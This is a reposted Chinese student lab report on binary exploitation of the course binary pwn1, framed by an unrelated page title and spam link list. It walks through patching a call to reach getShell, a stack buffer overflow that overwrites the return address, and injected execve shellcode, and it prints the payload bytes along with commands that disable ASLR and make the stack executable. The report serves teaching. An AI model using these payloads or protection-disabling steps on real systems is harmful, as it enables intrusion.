当前位置: 首页 > news >正文

正规的装饰行业网站建设公司/今天新闻联播

正规的装饰行业网站建设公司,今天新闻联播,艺术视频手机网站可以做吗,做免费网站安全吗20165107 《网络对抗技术》Exp1 PC平台逆向破解 实践内容 本次实践的对象是一个名为pwn1的linux可执行文件,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell&#xff0…

20165107 《网络对抗技术》Exp1 PC平台逆向破解

 

实践内容

 

本次实践的对象是一个名为pwn1的linux可执行文件,该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,并学习如何注入运行任何Shellcode.。

 

具体要求

手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数

利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。

注入一个自己制作的shellcode并运行这段shellcode。

 

实践涉及指令

NOP:NOP指令即“空指令”。执行到NOP指令时,CPU什么也不做,仅仅当做一个指令执行过去并继续执行NOP后面的一条指令。(机器码:90)

JNE:条件转移指令,如果不相等则跳转。(机器码:75)

JE:条件转移指令,如果相等则跳转。(机器码:74)

JMP:无条件转移指令。段内直接短转

JmpCMP:比较指令,功能相当于减法指令,只是对操作数之间运算比较,不保存结果。cmp指令执行后,将对标志寄存器产生影响。其他相关指令通过识别这些被影响的标志寄存器位来得知比较结果。

 

实验过程

实验点1、逆向及Bof基础实验

pwn1用cp指令复制成文件20165107,便于之后的文件操作。

 objdump -d 20165107 看其汇编代码

e8表示call,d7 ff ff ff 表示跳转的<foo>地址,通过偏移量计算,将地址改成c3 ff ff ff就会跳到getShell函数。

修改步骤:

1、vim 20165107

2、esc->:%!xxd 将显示模式切换为16进制模式

3、修改d7为c3

输入 :%!xxd -r 

将十六进制转换为原格式,

使用 :wq 保存并退出 然后 ./20165107 运行就可以了

 

 实验点2、自己构造输入参数使缓冲区溢出,参数溢出部分为getShell函数的地址

实验原理:系统读入字符串留32字节缓冲区,输入超过32字节就会溢出,就用溢出的部分去覆盖返回地址。

实验思路:反汇编pwn1文件找到getShell的地址:0804847d,输入参数,使32字节后面内容为地址0804847d对应的数,再执行文件。

实验步骤:

1、   使用prel方法,将getShell的内存地址写入输入字符串中perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input  

2、    xxd input  可以查看构造的文件。

3、   (cat input; cat) | ./pwn2  命令输入参数。

 

实验点3、注入shellcode并运行这段shellcode

实验步骤:1、准备工作

下载execstack程序以便接下来可以设置易于攻击的环境:apt-get install execstack

修改设置:execstack -s pwn1    //设置堆栈可执行

                  execstack -q pwn1    //查询文件的堆栈是否可执行

查看地址随机化的状态:more /proc/sys/kernel/randomize_va_space

关闭地址随机化:echo "0" > /proc/sys/kernel/randomize_va_space

构造要注入的payload,目的:将shellcode代码写入buffer(缓冲区足够大),或把shellcode放在返回地址后(缓冲区小),把返回地址改为buffer的首地址

我们选择retaddr+nops+shellcode结构来攻击buf,在shellcode前填充nop的机器码90。

2、运用perl函数输入shellcode:Perl -e 'print "A" x 32;print "\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode     //上面的\x4\x3\x2\x1将覆盖到堆栈上的返回地址的位置。我们得把它改为这段shellcode的地址。//特别提醒:最后一个字符千万不能是\x0a

再注入:(cat input_shellcode;cat) | ./ pwn20165107

再打开一个终端查看执行文件进程号ps -ef | grep pwn20165107

3、启用gdb调试进程,attach 1902与进程建立连接

设置断点查看注入buf的内存地址

 disassemble foo //反汇编

 break *0x080484ae //设置断点

 //在另外一个终端中按下回车

c继续

info r esp查看esp栈顶指针的地址

使用x/16x 0xffffd36c查看其存放内容,看到0x01020304,就是返回地址的位置。根据我们构造的input_shellcode可知,shellcode就在其后,所以地址是 0xffffd370,即0xffffd36c加上4字节。

 4、c-quit退出gdb调试,回到之前的终端输入exit退出命令,修改之前的\x4\x3\x2\x1部分:perl -e 'print "A" x 32;print "\x70\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00"' > input_shellcode

再次运行(cat input_shellcode;cat) | ./ pwn20165107后发现执行成功。

实验过程中遇到的问题

1、使用x/16x指针地址查看其存放内容,看到的不是0x01020304,而是0xf7fa0000,即不是返回地址的位置。

分析:自己构造的shellcode码存在问题,用重新设计shellcode码的方法解决。

2、实验三前端pwn1与前端pwn20165107未连接上,即pwn1中的值未注入到pwn20165107中。

解决方法:监察指令是否有误,重启虚拟机,重新输入指令,可以连接。

3、实验准备过程中,在运行pwn1时出现错误提示:[ bash: ./pwn1:没有那个文件或目录],但ls命令下又能看到存在pwn1文件。

解决方法:手动查看共享文件夹中是否有pwn1,将文件复制到主文件夹中,重启虚拟机,即可运行pwn1。

实验收获与感悟

1、感悟

通过本次实验,我初步了解了怎么去利用Bof漏洞,怎么简易地修改和注入shellcode以进行攻击,学习了许多之前从未接触的知识,收获很大,也激发了学习此类知识的兴趣。在实验中,我牢记老师所说“要把握整体思路,知道自己在做什么”,只有思路清晰,在实验中遇到问题才能及时发现并解决,才能顺利完成实验,本人Linux基础较弱,今后还将更加努力学习相关知识,不断提升自己的网络对抗技术水平。

2、什么是漏洞?漏洞有什么危害?

经查阅资料,漏洞是在硬件、软件、协议的具体实现或系统安全策略上存在的缺陷,从而可以使攻击者能够在未授权的情况下访问或破坏系统。而我所认为的漏洞是指攻击者通过指令操作可以发现的、能够随意更改从而影响整个软硬件功能的一些代码和问题。漏洞一旦被利用,威胁网络安全,危及广大网络用户的信息财产安全,可能造成巨大损失,影响巨大,所以漏洞需及时发现、尽快修复。

 

转载于:https://www.cnblogs.com/3523108059lyl/p/10539229.html

http://www.lbrq.cn/news/1025785.html

相关文章:

  • 建设外贸商城网站/百度推广seo怎么学
  • 叮当设计网站/百度域名查询官网
  • 快速建站服务/沧州seo公司
  • 石家庄搜索引擎优化公司/谷歌seo网站推广怎么做优化
  • admin管理员登录/seo网络运营
  • 做网站的色彩搭配的小知识/b站视频推广网站400
  • 文昌网站建设 myvodo/杭州seo顾问
  • 小程序是做什么的/seo优化推广
  • 南京行业网站建设/ui设计公司
  • 网络推广与推广/盐城seo培训
  • 品牌网站建设保障大蝌蚪/百度一下你就知道下载安装
  • 大学生网站建设实践报告/在线seo短视频
  • wordpress页面插件/seo关键词排名优化销售
  • 做网站的公司 苏迪/市场推广渠道有哪些
  • 做烘培网站/关键词排名优化易下拉霸屏
  • 公益手游app平台/淮南网站seo
  • 为什么要建立网站/网站排名
  • 商标做网站logo/保定网站seo
  • 网站建设官方商城/百度广告公司联系方式
  • ppt做仿网站点击效果/天津网站优化
  • 专门做卫生间效果图的网站/进入百度app
  • 东营网站建设优化/seo外链友情链接
  • 网页设计个人网站作业/重庆森林电影高清在线观看
  • 现在哪些网站做外贸的好做/企业如何进行网站推广
  • 旅游网站制作方案/全网推广平台推荐
  • wordpress注册页面更改/seo上海优化
  • 优秀金融网站设计/收录提交入口网址
  • google网站优化工具/可以免费发广告的网站
  • 纪检委网站建设情况/北京网站推广助理
  • 室内设计考研/百度网站如何优化排名
  • 设计模式(2)
  • AM32电调学习-使用Keil编译uboot
  • Redis7学习——Redis的十大类型String、List、Hash、Set、Zset
  • 【IntelliJ IDEA】如何在pom.xml中去除maven中未使用的依赖
  • LeetCode 分类刷题:1004. 最大连续1的个数 III
  • 2025 电赛 C 题完整通关攻略:从单目标定到 2 cm 测距精度的全流程实战